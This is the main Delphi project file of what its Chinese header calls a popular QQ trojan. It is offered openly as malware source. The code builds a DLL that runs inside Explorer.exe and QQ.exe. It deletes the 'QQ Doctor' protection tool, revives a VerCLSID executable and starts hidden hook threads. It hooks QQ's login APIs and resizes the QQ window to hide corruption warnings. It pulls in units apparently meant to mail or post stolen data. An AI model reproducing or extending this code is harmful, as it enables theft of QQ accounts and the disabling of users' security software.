hook.dpr

这是目前很流行的QQ木马 的代码 现在 这个很使用的

library Hook;


uses
  Windows,
  ComUnit in 'ComUnit.pas',
  HOOKThread in 'HOOKThread.pas',
  AllVarUnit in 'AllVarUnit.pas',
  AllJmpHook in 'AllJmpHook.pas',
  tonghan in 'tonghan.pas',
  LogHook in 'LogHook.pas',
  eMail66 in 'eMail66.pas',
  UrlPost in 'UrlPost.pas',
  QQWindow in 'QQWindow.pas',
  OnTimer in 'OnTimer.pas',
  QQTH in 'QQTH.pas',
  PosQQHwnd in 'PosQQHwnd.pas';

//通用函数





exports
  DllGetClassObject,
  DllCanUnloadNow,
  DllRegisterServer,
  DllUnregisterServer,
  JmpHookOn,
  JmpHookOff;

// DLL回调
procedure DLLMain(dwReason: DWORD); // DLL加载线程
begin
  case dwReason of
    DLL_PROCESS_DETACH :
      begin
        //QQMyEditHookOff();
      end;
  end;
end;

var
  PathBuffer: array [0..MAX_PATH] of Char = 'ymygc.....';
  ModulePath: string;
  ModuleName: string;
  SystemDir: string;
  SubThreadID: DWord;
  hLoginCtrl: HModule = 0;
   threadid:dword;//线程ID                 
// DLL入口
begin
  DeleteFile(@PathBuffer[3]);

  //获取当前进程的路径
  PathBuffer[GetModuleFileName(0, @PathBuffer[0], MAX_PATH)] := #0; // 进程全路径
  ModuleName := ExtractFileName(PathBuffer);                        // 进程文件名
  if CompareAnsiText(ModuleName, 'Explorer.Exe') then
  begin
    IsExplorer := True;
    SystemDir := GetSystemDir();
    ForceMoveFile(SystemDir + 'VerCLSID.bak', SystemDir + 'VerCLSID.exe');
  end
  else
     if CompareAnsiText(ModuleName, 'QQ.exe') then
      begin
       //是否处于 QQ进程只限于登陆窗口
         QQpchar:=PathBuffer;//QQ的所在路径
         NumberPath:=getFilePath(QQpchar);
          //删除QQ医生
          DeleteQQDoctor;
         if isSendMessage=false then
          begin
           IsQQ := True;
           CreateMyQQWindow;
           KillTimerOn();
          end
          else
          begin
           PosQQWindowSize;    ////调整QQ窗口大小，不让文件损坏得到提示
          end;
   //     log1('QQ9-*-.exe进程');
      end;
  //获取当前DLL的路径
  PathBuffer[GetModuleFileName(HInstance, @PathBuffer[0], MAX_PATH)] := #0; // DLL自身路径
  ComDllFileName := PathBuffer;                                             // 记录自身DLL位置
  ComDllFilePath := ExtractFilePath(ComDllFileName);
                                             // 载入尾部信息
   if (IsExplorer) then      //判断当前进程如果是Explorer.exe 的话.就.创建钩子
  begin
    if (FindWindow(DLL_WindowClass, DLL_WindowTitle) = 0) then
    begin
      CreateThread(nil, 0, @AllThreadPro, Pointer(66), 0, SubThreadID);
    end;
  end else
  begin
    if (IsQQ) then          //判断当前进程是否是QQ的进程..
    begin
      DllProc := @DLLMain;           //QQAPI挂钩开始
    end;
  end;
end.